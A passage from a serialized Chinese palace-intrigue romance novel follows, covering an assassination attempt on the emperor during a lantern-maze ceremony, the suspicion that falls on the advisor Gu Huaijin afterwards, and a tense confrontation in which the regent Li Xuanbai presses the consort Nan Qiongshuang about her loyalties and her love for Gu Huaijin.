装腔作势,这潇洒小儿,是真在乎。 南琼霜静默无语地走着,忽然感觉身后的人上前了几步,手中青色文灯的长柄几乎擦着她的衣袖,亦步亦趋地跟着她,她落左脚,他落左脚,她出右脚,他出右脚。 这么近的距离,他的灯快把她衣裳点着了。怎么,还想贴着她走吗? 传闻中的情夫在前,情夫在后,九五之尊的夫君在前侧。 想回过头去瞪他一眼,想着百官在此,两人当着人又是死对头,终于作罢。 顾怀瑾随在她身后,半刻不挪眼地望着她。她垂眼了,睫毛很长,耳朵底下的珍珠一步一晃,人纤细又柔软,他看着,控制不住地想抱一抱。 忽地,李玄白出了声:“本王怎么觉得在原地打转?” 南琼霜一直闷着头神游,这时才发觉,似乎确实在原地兜圈子。 这么简单的灯阵,甚至时时有引路太监指引。嘉庆帝竟然会在这其中迷路? 嘉庆帝冷汗淋漓,今日观灯阵,是与国运挂钩的,若是堂堂九五之尊连个灯阵都走不出,那是天都不欲他做君主之意,还谈什么国运? 他道:“朕以为,是这条路。不知皇兄有何看法?” “看法?今日九曲黄河灯阵,是皇上发了话要办的。本王无非跟着走。”他晓得这灯阵沾着吉凶风水的说法,有意撇清,“皇上若要本王跟着留心,早说啊。” 嘉庆帝无话可说,面皮涨得通红。 他一早就担忧在众人面前露怯,为此特意多安排了几个引路太监,不想走来走去,还是给困在了阵中,走不出! 一阵风来,阻风纱罩得阵外花木影影绰绰,四面琳琅灯阵里,太监举着彩幡,往左边某个方向一挥。 嘉庆帝不敢叫人瞧出他已经乱了阵脚,硬着头皮往左手边迈步。 左手边正有三条窄径,他怕身后百官生了疑虑,强装着笃定随意捡了条路走。 没走两步,堪堪停了下来。 窄径尽头,是一盏未点亮的孤灯。 灯未亮,名为“困厄灯”,意为死路。 兜兜转转,竟又步入死路了! 嫔妃百官,人人目睹,鸦雀无声。 嘉庆帝立在众人之首,不回头,也感觉百官的目光乌压压地汇聚在他一人身上,仿佛身后腾起一座极高的浪,浪头已经高得悬在他发顶,试探着,随时准备吞噬他。 若不能服众——走在众人前头,唯有被众人吞噬。 他在这个位置上,是退无可退,躲无可躲。 他麻着头皮转回身。 引路太监尖着嗓子道:“皇上,黄河阵之中不可回头,祖宗谓‘天命不移’!” “都已经是死路,还如何‘天命不移’。”李玄白冷嘲,亦转过身,“既然已入死路,早些迷途知返,才是天命。若是一心往南墙上扑——” 转过身来,南琼霜整妆华服,一双明眸仿佛宝石,炯炯望着他。 正儿八经的宠妃服制,气派奢丽,叫人心惊。 李玄白冷笑着与她对视,“撞了南墙,犹不折返——才叫愚钝呢。” 他意有所指,南琼霜不欲与他针锋相对,扑扇着长睫垂下眼。 她不接茬,李玄白冷嗤一声。 她身后,却另有人与他咄咄相对。 顾怀瑾站在她身后,缚着黑绸,黑衣黑发苍白如雪,沉静与他对望。 四面明灯如海,她自然而然地被罩在他宽阔身影里,仿佛被他那一身黑兜入其中似的。 不知为何,当着众人,他竟觉得这两人亲密无间,自然而然。 他恨得连连冷笑,这假模假样的男人,缚着根黑绸带,好似断绝了人情似的,背地里做的却是何种勾当?通.奸! 衣冠禽兽,恬不知耻,道貌岸然! “转过去啊,都转过去。看着本王——” “摄政王——!” 下一秒,众人如着了魔似的齐齐扭曲了脸,她神色亦是惊慌苍白,一把上来拉住他胳膊。 他全然不知发生何事,一瞬只觉得一切变得极慢,似乎所有人都被他背后的什么东西吓破了胆,只有他一个人大难临头,毫不知情。 忽然身后一阵飕飕破空之声。 一阵疾风迅急刺来。 面前百官嫔妃霎时爆发出一阵哀嚎: “皇上!” “皇上,您——!” “护驾!护驾!来人啊!护驾!” 嘉庆帝两条腿已经抖得如风中残烛一般,颈上一道不深不浅的血痕。 顾怀瑾堪堪拢袖收了手。 嘉庆帝已经痴愣着两眼颓然倒地,被一哄而上的众人团团围住。 “抓刺客!来人啊!有刺客!抓刺客!” 守候在阵外的禁军、飞鱼卫一齐匆匆出动,阻风纱外人影跑得囫囵,一人着飞鱼纹锦衣踏着树枝与花叶而来,扑到地上单膝跪地: “灯阵中通径狭窄,请皇上与贵人们撤出灯阵暂避!” 无人顾得上。 一行人火急火燎哀嚎着,老臣文官们倒在地上哭嚎,两个妃子亦扑在地上抱着皇上大哭,浩浩荡荡的人群四下攒动,东歪西斜。 无人不惊,无人不哭。 唯有两人在人山人海和满目灯火之中沉迫对峙。 李玄白望了眼瘫软在地吓丢了魂的嘉庆帝,半晌,凉凉一哂。 ——“摄政王”。 人人都关心那疯子皇帝的生死,唯有她一个关心的是他的死活。 怎么样? 李玄白鉴赏着面前人晦明不定的脸色,满意得不忍挪步,良久,终于笑睨了他一眼,自得而张扬地逼至他面前,挑眉吐字: “听见了吗?” 说完,从众人头顶抬腿跨过,头也不回,一个人悠哉出了灯阵。 顾怀瑾立在原地,黑衣黑发黑绸带,脸色白得像鬼,一言不发。 * 紫宸殿内。 “有人要害朕啊!救命啊!有人要害朕啊!” 重重金纱床幔之中,嘉庆帝扯着嗓子大嚎,顾怀瑾坐在床边静静替他把脉,床下御医埋着头跪了一地。王茂行护主心切,不论旁人如何劝也不肯走,流着眼泪在殿中转圈踱步。 李玄白亦在紫宸殿中观望,只是懒得凑近掺和,坐在雕窗底下有滋有味地品着酒。 常忠亦没走——常达重伤未愈,今日是他代自己爹爹入宫,出席灯阵祈福大典。 南琼霜和毛琳妍左面一个,右面一个,一同坐在龙床边掩面痛哭。 “先生!有人要害朕啊!先生救我啊!” “皇上。”顾怀瑾耐着性子,“您勿忧心,安心修养便是。那箭甫一射来,便被顾某偏转了方向,想来不需几日,龙体便可大好。” “可是……可是……”嘉庆帝哽咽了两回,“可是有人欲取朕的性命啊!不轨之徒甚至混入了宫禁!究竟是如何混进了宫的,飞鱼卫去查,禁军去抓,先生去查啊!” “顾某在此多守您片刻,龙体若无大碍,顾某即刻去查。” “要变天了,先生,先生啊!”嘉庆帝挥着袖子拍床,泪如雨下,“又要变天啦!” 殿中众人一时静默。 最开始是摄政王,后来是常达,现在,终于轮到了龙椅之上的嘉庆帝。 京中早已流言纷起,说定王已经派人出城,动员了山海关外十几万精兵;摄政王亦已经派人奔赴京郊军营,储蓄粮草,磨刃拭戈,蓄势待发。城中物价逐日飞涨,菜市中近已无货可售,人人囤粮自用,有钱有势的,已经携家带口,匆匆南下。 人人恐慌,人人自危。 前些日子,定王又在自己府中遭了刺杀,眼下定王将反的传言已经满京疯传。 在这节骨眼上,紫宸殿又出了事。 一山二虎之局,嘉庆帝虽是最弱,却最关键。谁敢妄动嘉庆帝,首先便成了乱臣贼子,背弃正统,失了民心。一张龙椅,是两头老虎最后一层顾忌,和睦共处的最后一层窗户纸。 如今,这层窗户纸,终于要破了。 双方再也不必相敬如宾。 当真要出事了,真要乱了,大难临头了。 南琼霜伏在床边掩面痛哭,听着嘉庆帝哀嚎,心里也寒凉一片。 要她收网的令竟还没有下来!难道非要拖到常李双方撕破脸皮,她才能脱身吗? 顾怀瑾身份如此敏感,又如何自处,如何脱身?! 未来太渺茫,她仿佛在钢丝上悬步,被逼着往前,不敢深想。 她今日——是必须候在紫宸殿里的。那伙刺客,谁知道是否还潜藏在宫中?若骤然又杀出来,若是得了手,她这差事也不必办了,常李双方恐怕早已有所准备,紫禁城惊变,就在今夜! 可是—— 她忽然又想起灯阵之中,嘉庆帝和摄政王并肩同行的模样。 相似的身量,相似的气度,如出一辙地负着手。一个明黄,一个杏黄,四面华光炫目,照得两种黄色相差甚微,难以分辨。 四面又全罩着朦朦胧胧的阻风纱。 刺客放箭那一瞬,嘉庆帝刚好走入了死路,两人一齐回转了身。 并且—— 摄政王居右。 嘉庆帝为了讨好他,将自己的位子,让给了李玄白。 南琼霜脑子里一瞬电光石火。 那刺客,非是想杀嘉庆帝。 冷箭真正所向,另有其人。 她身上骤然爬上一层窸窣的鸡皮疙瘩,毛骨悚然,冷麻全身。 缓缓抬起脸,往大殿之中遥望,隔着床帏,那人的桀骜轮廓混混吞吞,却仿佛浑然不觉,自斟自饮,自得其乐。 他是真没品出这一层,还是心如明镜,不以为意? 眼前忽然放了一只脉枕,恰恰好好地截了她视线。 她循之一望。 顾怀瑾面沉如水,将银针在锦布上一根根排开,不紧不慢,不慌不忙。 慢条斯理,仿佛半点情绪也无,心平气和。 南琼霜却鬼使神差地领会了他的深意。 他吃醋。 这时候吃什么醋。 她叹了一声,环视一圈。王茂行唉声叹气地捋须转圈 ,嘉庆帝陷在软枕里哀哀嚎啕,毛琳妍趴在另一侧床边,哭得金锦床单都洇湿了,李玄白怡然自得地在殿中品酒。 她坦然望着方才望着的原处,一只手依旧捻着帕子拭泪,一只手缓缓滑上了那块放银针的锦布。 顾怀瑾手上动作顿了一瞬,缚着黑绸的脸,依旧朝着嘉庆帝。 另一只手,却若无其事地,搁在了那块锦布上。 两人的小手指堪堪隔着两寸。 两人的小手指都空空勾着。 牵一牵手吗? 牵一牵手吧。 方才她情急之下提醒了摄政王一句,恐怕这人又心痛了。 没等她动。 他修长的手指,已经蹭到了她的指节。 轻轻蹭了两下,与她小指相勾。 顾怀瑾冷着面色翻找药箱,依旧一派端重自持。 她身上一阵发麻。 这么多人在这,非要吃醋。 “今日之事,恐有蹊跷。”她怕他误会她瞧李玄白那一眼,眼望着嘉庆帝,实际却是同他解释,“恐怕贼人的目标并非是皇上,而是本宫表兄。” 嘉庆帝本扑着袖子捶床,闻言怔住了,面上已是泪痕交错,“何以见得?” “灯阵外有阻风纱,刺客放箭时,您二人又刚好回了身。从背后看,二人身量相似,灯火辉照下,您二位衣裳颜色亦相似。入阵时,两人又调换了位置,恐怕刺客分辨不清,误伤了皇上。” 顾怀瑾拈起一根银针,对着光端详针芒。 嘉庆帝痴愣了下,忽地恍然大悟,手上指指点点,“对呀!对呀!朕当时与摄政王换了位子!若要这么说——” 话说一半,嘉庆帝顿住了,余下的话仿佛铁块,生生卡在喉咙里。 众人悄无声息地朝常忠望去。 常忠坐在雕窗底下,王让伺候他喝了盏茶,他正失魂落魄地呆愣愣望着窗外,忽觉殿内齐齐一静,他一回头,自己已是众目交汇。 他咕噜一声吞咽一下,捧紧了滚烫的茶杯。 他流着冷汗,赔笑奉承:“吉人自有天相!不知是何方胆大包天之人,竟敢于宫禁之中放肆?!皇上乃吉星临世,天命之主,逢凶化吉。那般乱臣贼子,当心叫天雷劈了去!” 众人只是静悄悄环望他,不应。 紫宸殿内一时静得尴尬。 片刻,却是嘉庆帝本人带头拊掌大笑,“确实如此!确实如此!得将军一言,朕心甚悦!” 南琼霜捻着帕子一点点擦去脸上泪痕,举眸与顾怀瑾对望了半瞬。 两人心领神会地各自又瞥开眼。 若说贼人的目标是摄政王,那么贼人又会是谁? 不消多想,呼之欲出。 定王在自家府中遭难,时机恰恰接在常太妃宫宴大骂摄政王、以小型弓弩意图刺杀之后,没有人不会多想。 连她都疑心背后的举棋人是大明宫,定王定然亦是如此猜想。 冤冤相报,仇上叠仇,如是而已。 嘉庆帝做了摄政王的替罪羊,他不是不清楚,只是双方都是骄兵悍将,他不敢招惹,明知背后的主谋便是这常忠,还得赔着笑给他递台阶。 李玄白听见里头有人谈论他名讳,放下酒盏,吊儿郎当地走近来,抱着肩膀斜倚在罩门上,“本王确也疑心,皇上这支箭,是替本王受的。不过本王倒是想问问,这支冷箭,究竟是何人放进来的?禁军?飞鱼卫?金戈侍卫?” 他寒凉嗤了一声,悠游漫步至龙床侧,走至顾怀瑾身边,一双狐狸眼半阖着下压: “抑或是谁?” 顾怀瑾慢条斯理拈着银针:“摄政王,有话不妨直说。” 李玄白最厌他一副高深莫测的模样,闻言更是冷笑: “前些日子,定王麾下的福余三卫洗劫了齐国公府。齐国公古稀之年遭此劫难,吓得牙都掉没了,整日抱着他那堆宝贝蛐蛐草木皆兵。女真人蛮横凶戾,又不守律法伦常,已经扰得京中怨声载道,本王欲下令叫这伙人滚回关外,不想,先生竟是万般阻挠。” “这伙人在京中,若是惹出什么事端,先生可担待得起么?” 顾怀瑾含笑不语。 若幕后主谋确是定王,那么此次刺杀,恐怕也借了女真人的力。 摄政王欲清福余三卫出城,顾先生一口咬死终是不许,此事闹得沸沸扬扬。京中百姓亦不欲这伙人留在京中,甚至联名按了血印上书,嘉庆帝亦担忧这伙人危及紫禁城,众议纷纷,然而福余三卫终于还是没有出京。 顾怀瑾力排众议,与定王站在一道,力保下了这伙精兵。 没有人晓得他究竟是何用意。连南琼霜问,顾怀瑾都闭口不答。 嘉庆帝一向唯顾怀瑾马首是瞻,最终也点了头,留下了这伙人。 只是,今日这支箭,若真是福余三卫所射,不论顾怀瑾有何筹谋,自此,其立场都十分微妙。 王茂行并袖作揖打圆场: “摄政王,此事未必与定王和福余三卫有关。皇上、摄政王、定王三方曾约定‘无相侵伐、无相欺瞒、披肝沥胆、永无猜二’。并无证据,却要疑心定王,兼责先生,恐怕不妥。” 李玄白烦而又烦地翻了个白眼。 常忠正如坐针毡,正待有人解围,闻言擦着头汗连连朝王茂行拱手,脸上颊肉团成两堆。 殿中人各自心思,一时再无人说话。 夜已深了。灯阵是戌时启阵,中间又在阵中彷徨徘徊了许久,又遇上贼人刺杀,折腾至此,已是接近子时。 李玄白懒怏怏打了个哈欠,望了眼犹自伏在床侧,默默垂泪的南琼霜。 究竟还要演多久啊。跟柔情蜜意的情人装不熟,还要假装为这个疯子痛心,实则无时无刻不在那男的身边待着。 这男人,随时随地跟在她身侧,寸步不离。 他厌烦已极,冷哼一声。 常忠一个人枯坐在窗下,手汗几将手掌泡白了,汗将衣裳都洇得深了几分。 出了这么大的事,他不肯走。王茂行几番劝他回府,他赖在此处,偏要亲自观望事态发展。 并且,还有一层意思。 他不敢回府。 这几人猜测得不错,他确是意在摄政王,谁料想,出了这么大的差错。 不仅失了手,甚至,险而又险,伤错了人。 紫宸殿若出了事,三方盟约便只是一页废纸,大明宫任何一刻都可能发兵攻打山海关外的常家军。 常达却重伤未愈。 爹爹必不愿见嘉庆帝此时出事的。 酿下如此大错,即便日后他夺了皇位又如何?能留他半分吗?恐怕都给那装腔小子了罢! 他那爹爹那般暴虐脾气,说不准,又要拿着墨砚往他头上比划! 他掌心一用力,将白瓷茶盏生生捏开数道裂纹。 这时殿外忽地传来两道高声传报: “启禀陛下,刺客抓着了!” 紫宸殿内众人齐齐弹立起身。 来人身着飞鱼纹锦衣,腰佩长刀,是飞鱼卫。 顾怀瑾淡淡合了药箱:“打入诏狱,我亲自审问。” “慢着。”李玄白一开掌,含笑斜了他一眼,散漫搁下了小酒盅,朝那人招手,“带上来。趁各位都在这,大家一起瞧瞧,是个什么模样。” 常忠顿时屏了息。 片刻,飞鱼卫搀架着一个遍体鳞伤的黑衣人,押进紫宸殿。 那人黑布覆面,气喘吁吁,腿已被打断了一条,死狗一样被飞鱼卫拖上来,两个飞鱼卫死死按住他肩背。 毛琳妍吓得惊叫一声,南琼霜亦横臂拎起袖子,抖着嘴唇从袖子后偷看。 嘉庆帝:“把他黑布给朕扯下来!” 黑布一去,露出一张面孔,平脸高颧眯缝小眼,嘴唇细薄,鼻梁细而直。 异域面孔,不必多言。 南琼霜一颗心登时如坠冰窟,朝顾怀瑾悄悄看去。 顾怀瑾神色依旧未变,八风不动。 可是,她却不安地发觉。 除却她以外,紫宸 殿内诸人,也全不约而同地静望着他,不言不语,无声无息。 第173章 良久,殿内都无人说话。 嘉庆帝面色青了又红,红了又青,胸脯鼓胀了好几回,终于把所有字吞回齿关,一个字未说。 王茂行只得窥着天颜小心措辞: “最近许多女真商贩趁乱入京,劫掠百姓,四处作乱,当真是需飞鱼卫严加巡防。……夜已深了,皇上伤势已稳,先生不妨暂且回府。先生前些日子刚气血大亏,时局又严峻,先生更应仔细养身才是啊。” “正是,正是。”常忠拿袖子将满头冷汗胡噜下去,腆着脸拱手,“我们军里碰着好几回女真人赊账斗殴之事了!回回都得我们军士管!这刺客,快带下去,该如何处置,便如何处置!” 李玄白玩着腰间玉牌的穗子,一面在指上绕着转,一面信步来了龙床侧,一屁股在南琼霜身侧坐下。 抱着肩膀,与面色沉沉的人喜颜相对: “先生怎么不说话了?” 顾怀瑾不答,将物件一一收进药箱内。 南琼霜提心吊胆地朝嘉庆帝看去。 嘉庆帝脸朝着内侧粗喘了半晌,回过头来时,面上阴霾已是一扫而空,笑着摆手:“朕不信这刺客是福余三卫派来的。朕只信先生。先生要女真人留京,是为定王的安危,朕凡事只信先生。”又恳切地对他说:“您千万别与朕生了嫌隙。” 顾怀瑾不置一词。他今夜不宜在此多待了,遂拎着药箱起身行礼: “龙体并无大碍,顾某先告辞了。” 嘉庆帝望着他孓然背影,再没有多一个字。 玄衣大袍的身影一步步沉下长阶,渐与漆黑夜色融作一团,辨不清了。 南琼霜收回眸光,一颗心仿佛悬吊在高空一般七上八下。 顾怀瑾入此局,唯一的凭依就是嘉庆帝的信任和依赖。他放权,他才有权。若有一日,嘉庆帝弃他不用,他面对常李双方便如手无寸铁,想降都保不住命。 他已经入局太深,究竟要何去何从。 “行了,夜已深了,皇上仅受轻伤,诸位也别在皇上跟前儿耗着了,以免惹得皇上疯症又发作。”李玄白手指敲着胳膊下令,“御医在此守候。常少将军出宫,王相回府,晟贵妃爱呆哪呆哪,至于你——” 他手指朝她一指,正正朝她鼻尖点一点: “到我大明宫来,叙话片刻。” * 大明宫内,烛海茫茫。 李玄白一向最喜辉煌光明,殿内摆了数个巨大的枝型地灯,灯烛从地面一直向上蔓延满墙,风一动,满宫烛光婆娑。 南琼霜立在门槛外,李玄白自然地撩摆跨过了门槛,见她并未跟上来,回头催她: “进来啊。” 吴顺弯腰低眉地在一旁替她掀着门口的珠帘。 深更半夜的,她一个宫妃竟然去了摄政王的寝殿,李玄白甚至连个人也不避。当真是要大乱了,再无人在意这些细微处。 她惴惴随了进去。 自从顾怀瑾闹了一回自戕,李玄白又是捂消息,又是将她禁足,两个人已是多日不和。这些日子,即便打了照面,两人也不过轻飘飘瞥一眼,接着就擦肩而过,谁也不理睬谁。 今日,却点了她的名来寝殿中说话,或许是见安生日子再没有几天了,想要摊牌。 关于她和他,和顾怀瑾。这么多年的纠缠不休,终于到了摊开来说的时候。 一进殿,绕过门口的描金山水花鸟屏风,却见李玄白头发已散了下来,一身杏黄衮袍已经褪了下去,宫人在一旁替他更衣,一身葡萄紫丝绸寝衣松松垮垮,当着她的面,他是连避也不避。 她站在殿中,惊得连呼吸都紧了。 他从容走出来,见她这模样,一面将背后长发从领子里拉出来,一面道: “怎么了?” “你为什么……”为什么换寝衣,不是有话要说吗? 李玄白笑了一声:“几更了,你自己瞧瞧。深更半夜的,谁不睡觉?” “睡觉”。 这话说得她太阳穴突突地跳。 南琼霜少有这般不知如何是好的时候,遂偏开眼,装着冷静去了她常坐的矮几边坐。 李玄白犹自在一旁理袖摆,一时半会,没说话。 殿内静得出奇,唯闻烛火噗噗地跳。 静得太压抑,她暗中看了他一眼,他站在殿中慢条斯理地把蜡烛点亮,一头墨发松松披垂在肩头。满墙烛海摇曳,映在他那丝绸寝衣上,漾得他身上光泽潋滟,他侧着脸垂首,不知怎么,似乎隐隐含悲,静得寂寞。 矜贵、倨傲,谁在他面前都要折腰,可是他却很寂寞。 她不知自己是否是错觉。他平日,一贯说一不二锐不可当,忽然垂着眼把那傲慢的高马尾松了下来,她不大适应。 他这样子,像个秾艳又落寞的美人。 “你怎么……”她忽然没话找话,一眼瞥见了他顺手搁在矮几对面的佩剑,“你这把剑……”那剑鞘竟然素朴至极,没有一丝装饰,“剑鞘怎么这么素。你这人一贯奢侈得要命,怎么,改了性子了?” 他眼一瞥,知道她是在看他的佩剑,将点亮的蜡烛摆上烛台,又拿了一支再点: “许久以前,同人打赌玩,输了,好的换给别人了。” “别人?” “刎颈之交。” 她鲜少见他同谁有交情。他这人天资太高,脾性太暴,天山上都是男弟子,他都没什么兄弟。他也有跟人打赌作乐的时候? 她忡忡垂下眼,打算少说些。 李玄白闲散地一支支点蜡烛,又一支支搁上枝叶般的烛台: “我今日叫你来,是为问你些事。” 她心里的石头缓缓没入潭水:“你说。” “常达装不下去了,时局马上要变。京里乱起来,你选谁?” 不敢细想的问题。她烦心地闭了闭眼,片刻,只是说: “我是皇上的妃子。” 李玄白背对着她嗤笑一声: “妃子?你究竟是不是妃子,你自己心里清楚。” “我不想掺和你们的事太多。身份是假的,我来这里,只是为了办差。等收网的令下来,差事了结,我转身就走人。江山谁坐,与我无干。” “你想走。”他笑,回过身来,“走得了吗?覆巢之下,何处栖身。你以为你入局至此,是说走人,就能走得了的?” 她未答。 那一身紫色寝衣衬得他一双狐狸眼更妖异。 他继续笑:“那我问你,倘若先一步变了天,你等的令还没下来,我们三边,你选谁?” 默了片刻,她依旧答: “我说过了,我是皇上的妃子。” 李玄白什么也没说,只是用鼻子轻笑一声,好整以暇地把玩着蜡烛。 殿内静得叫人头皮发麻。 他那颗鸽血红的小耳坠在烛海里亮得妖艳。 “行了。问了你两回,都是这个回复。直说了吧,与其说是选了那个疯子,你是选了那个姓顾的。” 英眉压眼,烛火映得他眼里的光灼灼不甘: “为什么?” 她一时不知道怎么答,于是就静静地不答。 “为什么?你爱他?”他笑了起来,抱着肩膀,轻轻往殿柱上一倚,曲起一条腿: “你爱他什么?他了解你什么?若把你从前做的那些事,同他讲,你看他是如何错愕忌惮,失望不已。你以为他容得了你那一面?” “不巧,他当真容了。”她捧着茶杯直视他,一字一字,“他早就知道了,他容下了。” “容下?”他嗤笑一声,那个死心眼的老好人,他竟肯容下她那些事? “他容下,也只不过是说说。不过是因为久别重逢,他难以自处了,才连这种大话都敢说。十年后,你再问他看看?你们根本截然不同,天差地别,你这般恶劣性子,竟跟一个妇人之仁的男人纠缠不休,我想不通你究竟在做什么。” 她竟然被说得语塞,偏过头,不看他。 “到底谁是真懂你,真接纳你的,你真看不出吗,楚皎皎?” 他歪着脖子似乎是很疑惑,冷笑: “他真能容你的性子吗?天山上头一次照面,你拿一把小匕首捅进我心口,我连这种事,都肯容你!”他声音骤然往下一压,“——因为你性子跟我是一样的,我们太像了。所以——” 南琼霜摇着头打断,“我可没有觉得我们那么相像。” “没有?没有!”他笑得叩紧齿关,手指一一在她身上点过,“你头上的东珠是我赐的,因为我喜欢东珠。你戴了满头,是因为你也喜欢。” “你手上的珊瑚手串也是我赐的。你戴在手上,是因为你也喜欢。” “我们衣裳上的纹饰都是一样的,缠枝纹和宝相花纹!为什么?你我商量过吗?不过是因为你我相似!” “喜欢同样的饰物而已——”她扯着袖子将珊瑚手串盖住。 “相同的饰物而已?”他愈发冷笑起来: “那我问你,你在我面前演过几分?你在全天山人面前演戏,唯独在我面前,可演过片刻?从天山上见第一面,你就没有演!那么多年,天山之上,唯有你我知道彼此的真性子!年少情分,相互照应,人群里唯有你懂我,我也懂你,一个眼神,彼此就知道是何意!” “便是回了洛京,我待你如何,你自是心如明镜。你那头的差事,我也猜个差不离。你我都是最最多疑之人,但彼此都心照不宣地不多问。连对方的底都不知道,却肯相互交付两分,这等信任,除却你我,可还敢给哪个旁人?” “是了,我是信你。”南琼霜道,“但情爱这回事……” “要我说,你跟那姓顾的,根本谈不上情爱这两个字。”他向后一振袖,叉着腰漫步走近,“他爱你什么?爱你柔弱?爱你可怜?爱你说不了两个字,就开始掉泪珠子?” “我爱你什么?”他一步步逼来,满墙烛火焚烧,他气焰几乎逼人,“这么多年,我就是爱你张狂,爱你恶劣,爱你目中无人,爱你跟个冰坨子似的不择手段!” “我何须你在我面前掩饰任何!你最坏那一面我刚巧喜欢!你我如此相似,你竟要舍下我,去一个迥然相异的人那儿作戏,楚皎皎,你脑子叫姓顾的踢了!” 她又惊又怒,又发觉他竟是真的爱她的恶,也有点知己之感,胸脯上下起伏: “但情爱这回事,并非是相像便能勉强。不如说,正因我们两个太像,才不可能。” “我们是一样自我,一样薄情,得不到手转眼就放。但是,你亦晓得,不在乎是因为得不到,忘得快是因为留不住,事事放手,是因为事事被人抛下!” “抛下”两个字一出口,他眼里霎时漫上了一点水光。 积在睫毛里,背衬着烛海,是两条金色的细丝。 她惊得张口结舌:“我们,我们太悲观,不信自己会被爱,也不愿为情爱让步,因此我们不会为彼此多付出什么,就像当年菩提阁——” “当真吗?‘不会为彼此付出什么’,当真吗?” 他转眼间已经逼至她身前,连蒲团都未拿,曲着膝径直坐至她旁边,一只手支到她身后,连他眼下那颗小泪痣都在昏暗里清晰可见了起来: “戏班子,朱砂膏,出宫令牌,东珠,珊瑚手串,簪子璎珞珠花,你想要什么我没给你!只知道记着当年菩提阁!” 他一掌按在她肩上,将她按得直接倾了下去,她满心惶然地扒着矮几,人被他搡至窗子和矮几的夹角,他身上熏的香扑鼻而来,两片好看的唇翕动得叫她心惊胆战: “那我问你,我刚软禁过你,你见了我气也不顺眼也不抬,可那徐卫按着剑到了我身后,你怎么又提醒我?” “方才灯阵中遇刺,你我多日不睦,人人都只关心那疯子皇帝的安危,怎么就你抓着我的胳膊,叫我的名字?” “我是什么脾气,你那般顶撞我,我还容你,还叫人巴巴地到冷宫里给你送瓜果——你可知那些话,若是旁人,十个脑袋也不够杀!” 他已经近在咫尺,英挺的直鼻逼在她眼前,她从未与他这般近过。 若是那个人,这个距离,是要接吻的。 呼吸一波波喷薄在她人中上,他身后是满墙盈曳烛火。他一动,满殿的光影混沌交错,唯有那一颗小耳坠亮得像甘甜的毒。 他很好看,狐狸眼,花瓣唇,英艳逼人。 “我问你,这么多年,我于你,究竟算什么!” 他何曾这样苦苦逼问过谁。以他的性子,直接打杀了就是。 逼她到了墙角,下风的还是他。 南琼霜浑身发寒,滞涩地喘了两口气: “不是情爱,是……” 他又往前逼近两分。半阖着眼偏唇,几乎要吮上了她的唇峰。 她心脏狂跳: “——是知己。” “谁他妈要跟你当知己!” 殿内骤然一声暴喝,满殿烛火飘摇,南琼霜未及反应,眼前已经是千影重重的海墁天花,她被搡得倒在地毯上,宝相花纹的波斯绒毯——面前是怒不可遏的人。 李玄白一身长发柔软地倾泻到她两侧,高鼻深眼窝,长睫压下一层阴影,背对着烛墙,脸上光影深邃又狂乱莫测,一只膝盖,缓缓顶开了她双膝。 空气黏稠得像毒药。 南琼霜惊得浑身都麻了,怎么,不止是顾怀瑾,这人也要为了情爱两个字发疯了,男人怎么都这般啊? 她心里打冷颤,面上强装着自若,嘴角牵起:“我说,你做事之前多想两回。” 李玄白搓着齿关嗤笑,刮了刮她的下巴,一种亲昵的威胁: “怎么,你真当我不敢勉强你吗?” “你敢吗?”身下的人却笑了,一双眼戏谑而冷锐,睨着他,“你再说一遍,你真敢吗?你明知我的个性——” “你明知道,我的性子正如你的性子,我们两个人,是如出一辙。勉强我是个什么结果,你当真猜不出吗?” 李玄白一言不发,耳坠随着粗重的呼吸微微摇动,一晃一晃,亮得她忌惮又心惊。 他长发些微打着卷儿。不知为何,她竟然注意到这个。 她心惊胆寒地等他回复。 李玄白双唇开了又合,合了又开,眼里暗影浑浊迷狂一片,眸子眯了又眯,喘.息得已经……叫她疑心他情动。 她心里更是一片晕眩冰寒。 他该不会真要在此…… 这么多年,她还没落到哪个男人手里这般遁地无门过,色厉内荏地气势汹汹: “多年情分,毁于一旦,你别逼我。” 良久。 背后烛火琳琅,他英俊面容阴鸷而凶戾,终是缓缓撑起了身。 只堪堪停在她鼻尖前数寸处。 沉迫的威压。 “那么,我问你,知己是何意。” 她见得了空隙,紧赶着坐起了身,却又被他不由分说地抵在窗角。 她沿着他唇角一路向上看进他眼睛。 他身上很香,两个人都喘着。 烛光下,他身影遮头盖脸地兜住她全身,她仿佛被一座影山压在底下,动弹不得。 那熏香,许是雪中春信。 她忽然觉得这一刻很狡猾,很可怕。 “知己……”她仍旧强装冷静,“知己是什么意思,你不懂?” “我跟他谁懂你。”他只有六个字。 她道:“你。” 他鸦羽般的长睫懒懒垂下两分,孤倨地受用。 她却接着道:“但是,所谓情爱,并非一定要是什么知己。我不是那些酸腐文人,什么俞伯牙钟子期,贾宝玉林黛玉,我不期望人懂,也不必有人来懂。” “怀瑾爱我,珍惜我,包容我,我最不堪的一面给他看,他也接纳。” “他爱我,非是用我来满足他自己,他一切都为我好。” 她不知怎么,说到此竟然哽咽: “我被无数男人爱过,唯有他一个爱我是为我好。所以你不必对我说什么懂不懂的。我只说一句,怀瑾所经历之事,若是在你身上,我们一定是不死不休 ,绝无可能彼此宽宥!” “你是说,我懂你,不重要?” “对!”她声音清脆笃定,“我毋须人懂,我要人成全,要人包容。” 他仿佛被当头一击,崩裂满地。 所有怒火和诘问于是都涩痛地卡在喉咙里。 对,姓顾的占一个仁厚,他能给的宽容和成全,他给不了。 良久,他恹恹一嗤,坐直了身子。 她缓缓坐起来,两人并肩同坐,他依旧是一副无所谓的神色,她继续道: “因而,你也不必说什么,‘他不过久别重逢,难以自处’之类的话。我懂他还是你懂他?我倒有句话要问你——你亲眼见着怀瑾因为我到此境地,你这性子,真能毫无芥蒂地爱我吗?” 李玄白垂着头玩袖摆,忽地滞了动作。 良久,羽睫压着眼睛,甚至不曾眨一眨。 她说:“你现在说爱我,也不过是爱而不得,一时昏头。我真允了你,你就想起我是如何薄情,如何城府,如何养不熟,如何忘恩负义了。若是天山弟子,倒也罢了,一国摄政王,安敢留这种人在枕边!” 李玄白不恼,听得却静静笑了,垂首半晌,终于闲闲地起身踱步,一面走,一面笑。 大殿之内,静悄悄的,唯余他的轻笑回荡不绝。 南琼霜并不明了他为何而笑。 烛影飘曳,他在煌煌灯火中负着手,鬼一般漫行了一圈,终于抖着手抓起了一旁的茶杯,润了润嗓子,抱着肩膀,似乎浑身发冷似的: “你怎知我——” 话音未毕。 殿中轰然一声巨响。 回声震荡,大殿嗡鸣,门口的描金山水花鸟屏风霍然倾倒,木屑灰尘之中,站着一个玄衣大袖的人。 顾怀瑾立在幽幽暗影之中,浑身仿佛被玄关的黑暗吞没了,唯有一张雪白脸孔: 